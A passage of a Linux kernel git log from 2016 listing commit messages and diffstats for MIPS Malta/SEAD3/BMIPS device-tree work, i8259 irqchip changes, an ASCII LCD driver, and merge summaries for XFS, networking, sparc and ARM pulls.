cfc8be04c36a1a6546b6f9cb8f02fd9f215c9d38 Author: Jaedon Shin Date: Fri Aug 19 11:52:29 2016 +0900 MIPS: BMIPS: Add support NAND device nodes Adds NAND device nodes to BCM7xxx MIPS based SoCs. Signed-off-by: Jaedon Shin Cc: Florian Fainelli Cc: Jonas Gorski Cc: Kevin Cernekee Cc: Rob Herring Cc: MIPS Mailing List Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14003/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/brcm/bcm7346.dtsi | 20 +++++++++++++++++ arch/mips/boot/dts/brcm/bcm7358.dtsi | 20 +++++++++++++++++ arch/mips/boot/dts/brcm/bcm7360.dtsi | 20 +++++++++++++++++ arch/mips/boot/dts/brcm/bcm7362.dtsi | 20 +++++++++++++++++ arch/mips/boot/dts/brcm/bcm7425.dtsi | 20 +++++++++++++++++ arch/mips/boot/dts/brcm/bcm7435.dtsi | 20 +++++++++++++++++ arch/mips/boot/dts/brcm/bcm97346dbsmb.dts | 5 +++++ arch/mips/boot/dts/brcm/bcm97358svmb.dts | 5 +++++ arch/mips/boot/dts/brcm/bcm97362svmb.dts | 5 +++++ arch/mips/boot/dts/brcm/bcm97425svmb.dts | 5 +++++ arch/mips/boot/dts/brcm/bcm97435svmb.dts | 5 +++++ .../boot/dts/brcm/bcm97xxx-nand-cs1-bch24.dtsi | 25 ++++++++++++++++++++++ .../mips/boot/dts/brcm/bcm97xxx-nand-cs1-bch4.dtsi | 25 ++++++++++++++++++++++ 13 files changed, 195 insertions(+) commit b2420e2762e36ec3aab0c0b6b9ee277f7b1b48e2 Author: Jaedon Shin Date: Fri Aug 19 11:52:28 2016 +0900 MIPS: BMIPS: Add support SDHCI device nodes Adds SDHCI device nodes to BCM7xxx MIPS based SoCs. Signed-off-by: Jaedon Shin Reviewed-by: Florian Fainelli Cc: Jonas Gorski Cc: Kevin Cernekee Cc: Rob Herring Cc: MIPS Mailing List Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14002/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/brcm/bcm7346.dtsi | 8 ++++++++ arch/mips/boot/dts/brcm/bcm7360.dtsi | 8 ++++++++ arch/mips/boot/dts/brcm/bcm7362.dtsi | 8 ++++++++ arch/mips/boot/dts/brcm/bcm7425.dtsi | 20 ++++++++++++++++++++ arch/mips/boot/dts/brcm/bcm7435.dtsi | 20 ++++++++++++++++++++ arch/mips/boot/dts/brcm/bcm97346dbsmb.dts | 4 ++++ arch/mips/boot/dts/brcm/bcm97360svmb.dts | 4 ++++ arch/mips/boot/dts/brcm/bcm97362svmb.dts | 4 ++++ arch/mips/boot/dts/brcm/bcm97425svmb.dts | 8 ++++++++ arch/mips/boot/dts/brcm/bcm97435svmb.dts | 8 ++++++++ 10 files changed, 92 insertions(+) commit c707844d4b876f74f2adf036f98f6787d76d2905 Author: Jaedon Shin Date: Fri Aug 19 11:52:27 2016 +0900 MIPS: BMIPS: Add support GPIO device nodes Adds GPIO device nodes to BCM7xxx MIPS based SoCs. Signed-off-by: Jaedon Shin Cc: Florian Fainelli Cc: Jonas Gorski Cc: Kevin Cernekee Cc: Rob Herring Cc: MIPS Mailing List Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14001/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/brcm/bcm7125.dtsi | 12 ++++++++++++ arch/mips/boot/dts/brcm/bcm7346.dtsi | 37 ++++++++++++++++++++++++++++++++++++ arch/mips/boot/dts/brcm/bcm7358.dtsi | 37 ++++++++++++++++++++++++++++++++++++ arch/mips/boot/dts/brcm/bcm7360.dtsi | 37 ++++++++++++++++++++++++++++++++++++ arch/mips/boot/dts/brcm/bcm7362.dtsi | 37 ++++++++++++++++++++++++++++++++++++ arch/mips/boot/dts/brcm/bcm7420.dtsi | 12 ++++++++++++ arch/mips/boot/dts/brcm/bcm7425.dtsi | 37 ++++++++++++++++++++++++++++++++++++ arch/mips/boot/dts/brcm/bcm7435.dtsi | 37 ++++++++++++++++++++++++++++++++++++ 8 files changed, 246 insertions(+) commit 7bbe59ddbb9fae90eef0248416976d4e5f6b1a2d Author: Jaedon Shin Date: Fri Aug 19 11:52:26 2016 +0900 MIPS: BMIPS: Add support PWM device nodes Adds PWM device nodes to BCM7xxx MIPS based SoCs. Signed-off-by: Jaedon Shin Reviewed-by: Florian Fainelli Cc: Jonas Gorski Cc: Kevin Cernekee Cc: Rob Herring Cc: MIPS Mailing List Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14000/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/brcm/bcm7125.dtsi | 14 ++++++++++++++ arch/mips/boot/dts/brcm/bcm7346.dtsi | 22 ++++++++++++++++++++++ arch/mips/boot/dts/brcm/bcm7358.dtsi | 22 ++++++++++++++++++++++ arch/mips/boot/dts/brcm/bcm7360.dtsi | 14 ++++++++++++++ arch/mips/boot/dts/brcm/bcm7362.dtsi | 14 ++++++++++++++ arch/mips/boot/dts/brcm/bcm7420.dtsi | 22 ++++++++++++++++++++++ arch/mips/boot/dts/brcm/bcm7425.dtsi | 22 ++++++++++++++++++++++ arch/mips/boot/dts/brcm/bcm7435.dtsi | 22 ++++++++++++++++++++++ arch/mips/boot/dts/brcm/bcm97125cbmb.dts | 4 ++++ arch/mips/boot/dts/brcm/bcm97346dbsmb.dts | 8 ++++++++ arch/mips/boot/dts/brcm/bcm97358svmb.dts | 8 ++++++++ arch/mips/boot/dts/brcm/bcm97360svmb.dts | 4 ++++ arch/mips/boot/dts/brcm/bcm97362svmb.dts | 4 ++++ arch/mips/boot/dts/brcm/bcm97420c.dts | 8 ++++++++ arch/mips/boot/dts/brcm/bcm97425svmb.dts | 8 ++++++++ arch/mips/boot/dts/brcm/bcm97435svmb.dts | 8 ++++++++ 16 files changed, 204 insertions(+) commit c834469b88cd0a54b313012e9f023937c68a5704 Author: Paul Burton Date: Mon Sep 19 22:21:29 2016 +0100 MIPS: Malta: Remove custom halt implementation The arch code will hang the machine with an infinite loop if the board doesn't provide an impelementation of halt - let it, rather than duplicating it. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14280/ Signed-off-by: Ralf Baechle arch/mips/mti-malta/malta-reset.c | 6 ------ 1 file changed, 6 deletions(-) commit 10b6ea0959de2c42b9f105c88b51a54c4dd961c2 Author: Paul Burton Date: Mon Sep 19 22:21:28 2016 +0100 MIPS: Malta: Use syscon-reboot driver to reboot Make use of the generic syscon-reboot driver to reboot the Malta board, reducing the amount of platform code it requires. Signed-off-by: Paul Burton Cc: Stephan Linz Cc: Jacek Anaszewski Cc: Bartlomiej Zolnierkiewicz Cc: Rob Herring Cc: Mark Rutland Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14279/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/mti/malta.dts | 12 ++++++++++++ arch/mips/configs/malta_defconfig | 2 ++ arch/mips/configs/malta_kvm_defconfig | 2 ++ arch/mips/configs/malta_kvm_guest_defconfig | 2 ++ arch/mips/configs/malta_qemu_32r6_defconfig | 2 ++ arch/mips/configs/maltaaprp_defconfig | 2 ++ arch/mips/configs/maltasmvp_defconfig | 2 ++ arch/mips/configs/maltasmvp_eva_defconfig | 2 ++ arch/mips/configs/maltaup_defconfig | 2 ++ arch/mips/configs/maltaup_xpa_defconfig | 2 ++ arch/mips/mti-malta/malta-reset.c | 15 ++------------- 11 files changed, 32 insertions(+), 13 deletions(-) commit 97af8e1cb31870c6f4ca175d5eada7be5cc65e0f Author: Paul Burton Date: Mon Sep 19 22:21:27 2016 +0100 MIPS: Malta: Probe pflash via DT Add the DT nodes required to probe the CFI compatible parallel monitor flash found on the Malta development board, and remove the platform code that was previously doing it. Delete the now-empty malta-platform.c file. Adjust the Malta defconfigs that enable MTD & the pflash/CFI driver to enable CONFIG_MTD_PHYSMAP_OF rather than CONFIG_MTD_PHYSMAP in order to preserve their behaviour. Signed-off-by: Paul Burton Cc: Bartlomiej Zolnierkiewicz Cc: Rob Herring Cc: Mark Rutland Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14278/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/mti/malta.dts | 31 ++++++++++++++++++++ arch/mips/configs/malta_defconfig | 2 +- arch/mips/configs/malta_kvm_defconfig | 2 +- arch/mips/configs/malta_kvm_guest_defconfig | 2 +- arch/mips/configs/maltaup_xpa_defconfig | 2 +- arch/mips/mti-malta/malta-platform.c | 44 ----------------------------- 6 files changed, 35 insertions(+), 48 deletions(-) commit 0a46ffa3604ec64b6a6784f134267c49ec224b75 Author: Paul Burton Date: Mon Sep 19 22:21:26 2016 +0100 MIPS: Malta: Probe RTC via DT Add the DT node required to probe the RTC, and remove the platform code that was previously doing it. Signed-off-by: Paul Burton Cc: Rob Herring Cc: Mark Rutland Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14277/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/mti/malta.dts | 15 +++++++++++++++ arch/mips/mti-malta/malta-platform.c | 21 --------------------- 2 files changed, 15 insertions(+), 21 deletions(-) commit eea1645bb8645cdf40b788dc6f2cbe2309e82411 Author: Paul Burton Date: Mon Sep 19 22:21:25 2016 +0100 MIPS: Malta: Remove custom DT match table Since commit 44a7185c2ae6 ("of/platform: Add common method to populate default bus") the Malta publish_devices initcall has essentially been a no-op. Remove it. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14276/ Signed-off-by: Ralf Baechle arch/mips/mti-malta/malta-dt.c | 15 --------------- 1 file changed, 15 deletions(-) commit ecd76eded07d1ba58bba410ec4bcbd8630fb9b16 Author: Paul Burton Date: Mon Sep 19 22:21:24 2016 +0100 of/platform: Probe "isa" busses by default Since commit 44a7185c2ae6 ("of/platform: Add common method to populate default bus") platforms calling of_platform_bus_probe from an initcall is either a rather unsafe race with of_platform_default_populate_init or a no-op. The MIPS Malta board needs to probe devices under an ISA bus, which we do support in the of_busses array but until now haven't included in of_default_bus_match_table. Add an "isa" entry to of_default_bus_match_table such that we can just accept use of of_platform_default_populate_init & remove the Malta-specific match table in a later patch. Signed-off-by: Paul Burton Acked-by: Rob Herring Cc: Frank Rowand Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14275/ Signed-off-by: Ralf Baechle drivers/of/platform.c | 1 + 1 file changed, 1 insertion(+) commit 38ec82fe21cd99ad4d7f0dc883ef7ce9e9837176 Author: Paul Burton Date: Mon Sep 19 22:21:23 2016 +0100 MIPS: Malta: Probe interrupt controllers via DT Probe the CPU, GIC & i8259 interrupt controllers present in the Malta system using device tree. This enables interrupts to be provided to devices using device tree as they are moved over to being probed using it. Since Malta is very configurable it's unknown whether a GIC will be present at compile time. In order to support both cases the malta_dt_shim code is added in order to detect whether a GIC is present, adjusting the DT to route interrupts correctly and nop out the GIC node if no GIC is found. Signed-off-by: Paul Burton Cc: Masahiro Yamada Cc: Kees Cook Cc: Rob Herring Cc: Mark Rutland Cc: Andrew Morton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14274/ Signed-off-by: Ralf Baechle arch/mips/Kconfig | 1 + arch/mips/boot/dts/mti/malta.dts | 41 ++++++++++++++++ arch/mips/mti-malta/malta-dtshim.c | 77 ++++++++++++++++++++++++++++++ arch/mips/mti-malta/malta-int.c | 96 ++------------------------------------ 4 files changed, 124 insertions(+), 91 deletions(-) commit 0051fc2e7b84500c4ecf66cda4ac0879340600ef Author: Paul Burton Date: Mon Sep 19 22:21:22 2016 +0100 MIPS: Malta: Use all available DDR by default Malta boards can have more than 256MB DDR available, but we have previously only made use of up to 256MB (ie. the DDR accessible via kseg0) by default, without the user manually specifying mem= kernel parameters. This patch causes all available DDR, as reported by the bootloader via the ememsize or memsize environment variables or optionally on the command line, to be used when possible without the user needing to manually provide the memory ranges. Malta now has 2 subtly different memory maps which have to be taken into account when setting this up. The original memory map (referred to by the code as v1) has up to 2GB of DDR aliased in both the upper & lower halves of the 32 bit physical address space, with a 256MB I/O region obscuring 0x10000000-0x1fffffff only in the lower alias. The revised v2 memory map is flat with up to 4GB DDR starting from 0x0, and the I/O region obscures 256MB of DDR which becomes inacessible. The memory map in use is indicated by a register provided by the rocit2 system controller, which is checked in order to set up the kernels memory ranges accordingly. Signed-off-by: Paul Burton Cc: Masahiro Yamada Cc: Kees Cook Cc: Andrew Morton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14273/ Signed-off-by: Ralf Baechle arch/mips/mti-malta/malta-dtshim.c | 110 +++++++++++++++++++++++++++++++++++-- 1 file changed, 104 insertions(+), 6 deletions(-) commit 422dd256642b75808cbf447040481cac11ccbefc Author: Paul Burton Date: Mon Sep 19 22:21:21 2016 +0100 MIPS: Malta: Allow PCI devices DMA to lower 2GB physical Set the PCI_BAR0 register in all configurations such that PCI devices can perform DMA to all of the bottom 2GB of the physical address space. This is imperfect if we make use of the legacy Malta memory map, but it is an improvement on the inconsistent values setup before. Signed-off-by: Paul Burton Cc: Alexander Sverdlin Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14272/ Signed-off-by: Ralf Baechle arch/mips/mti-malta/malta-init.c | 17 +++++++---------- 1 file changed, 7 insertions(+), 10 deletions(-) commit 5d2949ec86a54b73a6fc2557ef784e76c0d2cba9 Author: Paul Burton Date: Mon Sep 19 22:21:20 2016 +0100 irqchip: i8259: Remove unused i8259A_irq_pending The i8259A_irq_pending function is unused. Remove the dead code. Signed-off-by: Paul Burton Acked-by: Thomas Gleixner Cc: Jason Cooper Cc: Marc Zyngier Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14271/ Signed-off-by: Ralf Baechle arch/mips/include/asm/i8259.h | 1 - drivers/irqchip/irq-i8259.c | 18 ------------------ 2 files changed, 19 deletions(-) commit 19afc3d269fe66137ddb030b8ffdb8553066ba4a Author: Paul Burton Date: Mon Sep 19 22:21:19 2016 +0100 irqchip: i8259: Allow platforms to override poll function The default i8259 polling function (i8259_irq) is nicely generic but is fairly costly. Platforms often provide an alternative means of polling for an i8259 interrupt, and when using the i8259 without device tree have typically just chained its parent interrupt to their own handler function. In order to allow for platform-specific polling functions to be used in cases where the driver is probed via device tree, provide an i8259_set_poll function that accepts a pointer to an alternative poll function that will override the default. Signed-off-by: Paul Burton Acked-by: Thomas Gleixner Cc: Jason Cooper Cc: Marc Zyngier Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14270/ Signed-off-by: Ralf Baechle arch/mips/include/asm/i8259.h | 11 +++++++++++ drivers/irqchip/irq-i8259.c | 8 +++++++- 2 files changed, 18 insertions(+), 1 deletion(-) commit 690803acca14e8aa101ca5204f0a23c24d7ad8c3 Author: Paul Burton Date: Mon Sep 19 22:21:18 2016 +0100 irqchip: i8259: Add domain before mapping parent irq Mapping the parent IRQ will use a virq number which may conflict with the hardcoded I8259A_IRQ_BASE..I8259A_IRQ_BASE+15 range that the i8259 driver expects to be free. If this occurs then we'll hit errors when adding the i8259 IRQ domain, since one of its virq numbers will already be in use. Avoid this by adding the i8259 domain before mapping the parent IRQ, such that the i8259 virq numbers become used before the parent interrupt controller gets a chance to use any of them. Signed-off-by: Paul Burton Acked-by: Thomas Gleixner Cc: Marc Zyngier Cc: Jason Cooper Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14269/ Signed-off-by: Ralf Baechle drivers/irqchip/irq-i8259.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 8d370595811e13378243832006f8c52bbc9cca5e Merge: d230ec7 155cd43 Author: Linus Torvalds Date: Thu Oct 6 08:18:10 2016 -0700 Merge tag 'xfs-for-linus-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/dgc/linux-xfs Pull xfs and iomap updates from Dave Chinner: "The main things in this update are the iomap-based DAX infrastructure, an XFS delalloc rework, and a chunk of fixes to how log recovery schedules writeback to prevent spurious corruption detections when recovery of certain items was not required. The other main chunk of code is some preparation for the upcoming reflink functionality. Most of it is generic and cleanups that stand alone, but they were ready and reviewed so are in this pull request. Speaking of reflink, I'm currently planning to send you another pull request next week containing all the new reflink functionality. I'm working through a similar process to the last cycle, where I sent the reverse mapping code in a separate request because of how large it was. The reflink code merge is even bigger than reverse mapping, so I'll be doing the same thing again.... Summary for this update: - change of XFS mailing list to linux-xfs@vger.kernel.org - iomap-based DAX infrastructure w/ XFS and ext2 support - small iomap fixes and additions - more efficient XFS delayed allocation infrastructure based on iomap - a rework of log recovery writeback scheduling to ensure we don't fail recovery when trying to replay items that are already on disk - some preparation patches for upcoming reflink support - configurable error handling fixes and documentation - aio access time update race fixes for XFS and generic_file_read_iter" * tag 'xfs-for-linus-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/dgc/linux-xfs: (40 commits) fs: update atime before I/O in generic_file_read_iter xfs: update atime before I/O in xfs_file_dio_aio_read ext2: fix possible integer truncation in ext2_iomap_begin xfs: log recovery tracepoints to track current lsn and buffer submission xfs: update metadata LSN in buffers during log recovery xfs: don't warn on buffers not being recovered due to LSN xfs: pass current lsn to log recovery buffer validation xfs: rework log recovery to submit buffers on LSN boundaries xfs: quiesce the filesystem after recovery on readonly mount xfs: remote attribute blocks aren't really userdata ext2: use iomap to implement DAX ext2: stop passing buffer_head to ext2_get_blocks xfs: use iomap to implement DAX xfs: refactor xfs_setfilesize xfs: take the ilock shared if possible in xfs_file_iomap_begin xfs: fix locking for DAX writes dax: provide an iomap based fault handler dax: provide an iomap based dax read/write path dax: don't pass buffer_head to copy_user_dax dax: don't pass buffer_head to dax_insert_mapping ... commit d230ec72c4efed7d0f414a80a756c54d4c422a6e Merge: f84d9fa af70c1f Author: Linus Torvalds Date: Thu Oct 6 08:13:35 2016 -0700 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net Pull networking fixups from David Miller: "Here are the build and merge fixups for the networking stuff" * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net: phy: micrel.c: Enable ksz9031 energy-detect power-down mode netfilter: merge fixup for "nf_tables_netdev: remove redundant ip_hdr assignment" netfilter: nft_limit: fix divided by zero panic netfilter: fix namespace handling in nf_log_proc_dostring netfilter: xt_hashlimit: Fix link error in 32bit arch because of 64bit division netfilter: accommodate different kconfig in nf_set_hooks_head netfilter: Fix potential null pointer dereference commit f84d9fa86820b3074a8c143444a6932c0c0fd019 Merge: 82fa407 98e98eb Author: Linus Torvalds Date: Thu Oct 6 08:12:08 2016 -0700 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc Pull sparc updates from David Miller: "Besides some cleanups the major thing here is supporting relaxed ordering PCIe transactions on newer sparc64 machines, from Chris Hyser" * git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc: sparc: fixing ident and beautifying code sparc64: Enable setting "relaxed ordering" in IOMMU mappings sparc64: Enable PCI IOMMU version 2 API sparc: migrate exception table users off module.h and onto extable.h commit e6a54ba304b15275884b029c2234ea74c4e591d0 Author: Paul Burton Date: Fri Aug 26 15:17:51 2016 +0100 MIPS: SEAD3: Remove custom read_persistent_clock The SEAD3 board defines a custom implementation of read_persistent_clock which does exactly the same dummy operation as the generic weak version. Remove the not really implemented custom version. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14064/ Signed-off-by: Ralf Baechle arch/mips/mti-sead3/sead3-time.c | 6 ------ 1 file changed, 6 deletions(-) commit 5e189564d574541c6f149ab3a1081d25eec06fd0 Author: Paul Burton Date: Fri Aug 26 15:17:50 2016 +0100 MIPS: SEAD3: Use img-ascii-lcd driver Probe the img-ascii-lcd driver using device tree in order to display a message on the SEAD3 board's LCD display, and remove the platform code that was formerly performing this function. This removes more platform code and moves SEAD3 further towards being entirely DT-based. Signed-off-by: Paul Burton Cc: Jacek Anaszewski Cc: Rob Herring Cc: Mark Rutland Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14063/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/mti/sead3.dts | 5 +++ arch/mips/mti-sead3/Makefile | 3 +- arch/mips/mti-sead3/sead3-display.c | 77 ------------------------------------- arch/mips/mti-sead3/sead3-time.c | 2 - 4 files changed, 6 insertions(+), 81 deletions(-) commit 0cad855fbd083ee5fd0584a47c2aaa7dca936fd4 Author: Paul Burton Date: Fri Aug 26 15:17:49 2016 +0100 auxdisplay: img-ascii-lcd: driver for simple ASCII LCD displays Add a driver for simple ASCII LCD displays found on the MIPS Boston, Malta & SEAD3 development boards. The Boston display is an independent memory mapped device with a simple memory mapped 8 byte register space containing the 8 ASCII characters to display. The Malta display is exposed as part of the Malta board registers, and provides 8 registers each of which corresponds to one of the ASCII characters to display. The SEAD3 display is slightly more complex, exposing an interface to an S6A0069 LCD controller via registers provided by the boards CPLD. However although the displays differ in their register interface, we require similar functionality on each board so abstracting away the differences within a single driver allows us to share a significant amount of code & ensure consistent behaviour. The driver displays the Linux kernel version as the default message, but allows the message to be changed via a character device. Messages longer then the number of characters that the display can show will scroll. This provides different behaviour to the existing LCD display code for the MIPS Malta or MIPS SEAD3 platforms in the following ways: - The default string to display is not "LINUX ON MALTA" or "LINUX ON SEAD3" but "Linux" followed by the version number of the kernel (UTS_RELEASE). - Since that string tends to be significantly longer it scrolls twice as fast, moving every 500ms rather than every 1s. - The LCD won't be updated until the driver is probed, so it doesn't provide the early "LINUX" string. Signed-off-by: Paul Burton Cc: Mauro Carvalho Chehab Cc: Miguel Ojeda Sandonis Cc: Guenter Roeck Cc: David S. Miller Cc: Greg Kroah-Hartman Cc: Geert Uytterhoeven Cc: Andrew Morton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14062/ Signed-off-by: Ralf Baechle MAINTAINERS | 1 + drivers/auxdisplay/Kconfig | 9 + drivers/auxdisplay/Makefile | 1 + drivers/auxdisplay/img-ascii-lcd.c | 443 +++++++++++++++++++++++++++++++++++++ 4 files changed, 454 insertions(+) commit 8ef3ff2723f8cbaec4fee3c7fa807bf8d6ccd2e5 Author: Paul Burton Date: Fri Aug 26 15:17:48 2016 +0100 dt-bindings: img-ascii-lcd: Document a binding for simple ASCII LCDs Add documentation for a devicetree binding for the simple ASCII LCD displays found on development boards such as the MIPS Boston, MIPS Malta & MIPS SEAD3 from Imagination Technologies. Signed-off-by: Paul Burton Acked-by: Rob Herring Cc: Mauro Carvalho Chehab Cc: Guenter Roeck Cc: David S. Miller Cc: Greg Kroah-Hartman Cc: Geert Uytterhoeven Cc: Mark Rutland Cc: Andrew Morton Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14061/ Signed-off-by: Ralf Baechle .../devicetree/bindings/auxdisplay/img-ascii-lcd.txt | 17 +++++++++++++++++ MAINTAINERS | 5 +++++ 2 files changed, 22 insertions(+) commit 82fa407da081d05323171577d86f62d77df17465 Merge: c7f5d36 81a6300 Author: Linus Torvalds Date: Thu Oct 6 07:59:37 2016 -0700 Merge branch 'for-linus' of git://git.armlinux.org.uk/~rmk/linux-arm Pull ARM updates from Russell King: - Correct ARMs dma-mapping to use the correct printk format strings. - Avoid defining OBJCOPYFLAGS globally which upsets lkdtm rodata testing. - Cleanups to ARMs asm/memory.h include. - L2 cache cleanups. - Allow flat nommu binaries to be executed on ARM MMU systems. - Kernel hardening - add more read-only after init annotations, including making some kernel vdso variables const. - Ensure AMBA primecell clocks are appropriately defaulted. - ARM breakpoint cleanup. - Various StrongARM 11x0 and companion chip (SA1111) updates to bring this legacy platform to use more modern APIs for (eg) GPIOs and interrupts, which will allow us in the future to reduce some of the board-level driver clutter and elimate function callbacks into board code via platform data. There still appears to be interest in these platforms! - Remove the now redundant secure_flush_area() API. - Module PLT relocation optimisations. Ard says: This series of 4 patches optimizes the ARM PLT generation code that is invoked at module load time, to get rid of the O(n^2) algorithm that results in pathological load times of 10 seconds or more for large modules on certain STB platforms. - ARMv7M cache maintanence support. - L2 cache PMU support * 'for-linus' of git://git.armlinux.org.uk/~rmk/linux-arm: (35 commits) ARM: sa1111: provide to_sa1111_device() macro ARM: sa1111: add sa1111_get_irq() ARM: sa1111: clean up duplication in IRQ chip implementation ARM: sa1111: implement a gpio_chip for SA1111 GPIOs ARM: sa1111: move irq cleanup to separate function ARM: sa1111: use devm_clk_get() ARM: sa1111: use devm_kzalloc() ARM: sa1111: ensure we only touch RAB bus type devices when removing ARM: 8611/1: l2x0: add PMU support ARM: 8610/1: V7M: Add dsb before jumping in handler mode ARM: 8609/1: V7M: Add support for the Cortex-M7 processor ARM: 8608/1: V7M: Indirect proc_info construction for V7M CPUs ARM: 8607/1: V7M: Wire up caches for V7M processors with cache support. ARM: 8606/1: V7M: introduce cache operations ARM: 8605/1: V7M: fix notrace variant of save_and_disable_irqs ARM: 8604/1: V7M: Add support for reading the CTR with read_cpuid_cachetype() ARM: 8603/1: V7M: Add addresses for mem-mapped V7M cache operations ARM: 8602/1: factor out CSSELR/CCSIDR operations that use cp15 directly ARM: kernel: avoid brute force search on PLT generation ARM: kernel: sort relocation sections before allocating PLTs ... commit c7f5d36a3cc26e5068f4444aa22c4579e5eac85f Merge: a6930aa fb833b1 Author: Linus Torvalds Date: Thu Oct 6 07:58:01 2016 -0700 Merge branch 'fixes' of git://git.armlinux.org.uk/~rmk/linux-arm Pull ARM fix from Russell King: "A 5% error in delay calculation was introduced during the last merge window, which had gone un-noticed until yesterday" * 'fixes' of git://git.armlinux.org.uk/~rmk/linux-arm: ARM: fix delays commit eb42d760db2ea8ab16f10e320a7a8bfff331307f Author: Paul Burton Date: Fri Aug 26 15:17:47 2016 +0100 FBDEV: cobalt_lcdfb: Drop SEAD3 support The SEAD3 board no longer uses the cobalt_lcdfb driver, so remove the SEAD3-specific code from it. Signed-off-by: Paul Burton Acked-by: Tomi Valkeinen Cc: Ondrej Zary Cc: Arnd Bergmann Cc: Robert Jarzmik Cc: Maciej W. Rozycki Cc: Ezequiel Garcia Cc: Tomi Valkeinen Cc: Jean-Christophe Plagniol-Villard Cc: Geert Uytterhoeven Cc: Simon Horman Cc: linux-mips@linux-mips.org Cc: linux-fbdev@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14060/ Signed-off-by: Ralf Baechle drivers/video/fbdev/Kconfig | 2 +- drivers/video/fbdev/cobalt_lcdfb.c | 42 -------------------------------------- 2 files changed, 1 insertion(+), 43 deletions(-) commit ec5218a23c470aad28be13362d11fd7886445866 Author: Paul Burton Date: Fri Aug 26 15:17:46 2016 +0100 MIPS: SEAD3: Drop use of cobalt fbdev driver The 2 line * 16 character LCD display on the SEAD3 board has no real use as a framebuffer device. It's far too small to produce any meaningful output if used as the kernel console, SEAD3 is a development board that will essentially always have a far more useful UART connection & the code in sead3-display.c will overwrite whatever's on the display every second anyway. Remove this unused code. Signed-off-by: Paul Burton Cc: Jacek Anaszewski Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14059/ Signed-off-by: Ralf Baechle arch/mips/mti-sead3/Makefile | 3 +-- arch/mips/mti-sead3/sead3-lcd.c | 43 ----------------------------------------- 2 files changed, 1 insertion(+), 45 deletions(-) commit 09bb8bfffd29c3dffb72bc2c69a062dfb1ae624c Author: NeilBrown Date: Thu Aug 4 10:19:06 2016 +1000 exportfs: be careful to only return expected errors. When nfsd calls fh_to_dentry, it expect ESTALE or ENOMEM as errors. In particular it can be tempting to return ENOENT, but this is not handled well by nfsd. Rather than requiring strict adherence to error code code filesystems, treat all unexpected error codes the same as ESTALE. This is safest. Signed-off-by: NeilBrown Signed-off-by: J. Bruce Fields fs/exportfs/expfs.c | 10 ++++++---- include/linux/exportfs.h | 13 +++++++------ 2 files changed, 13 insertions(+), 10 deletions(-) commit 8321564a11bbeadffcc7d6335bcf3c07e5c397a3 Author: Michael Ellerman Date: Wed Oct 5 16:15:14 2016 +1100 selftests/powerpc: Fix build break caused by EXPORT_SYMBOL changes The changes to make EXPORT_SYMBOL work in asm, specifically commit 9445aa1a3062 ("ppc: move exports to definitions"), in the kbuild tree, breaks some of our selftests. That is because we symlink the kernel code into the selftest, and shim the required headers, and we are now missing asm/export.h So create a minimal export.h to keep the tests building once powerpc and the kbuild trees are merged. Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/copyloops/asm/export.h | 1 + tools/testing/selftests/powerpc/stringloops/asm/export.h | 1 + 2 files changed, 2 insertions(+) commit ad654f25a12d1cbac890d33b7bcc87f625e9eb39 Author: Michael Ellerman Date: Wed Oct 5 16:08:16 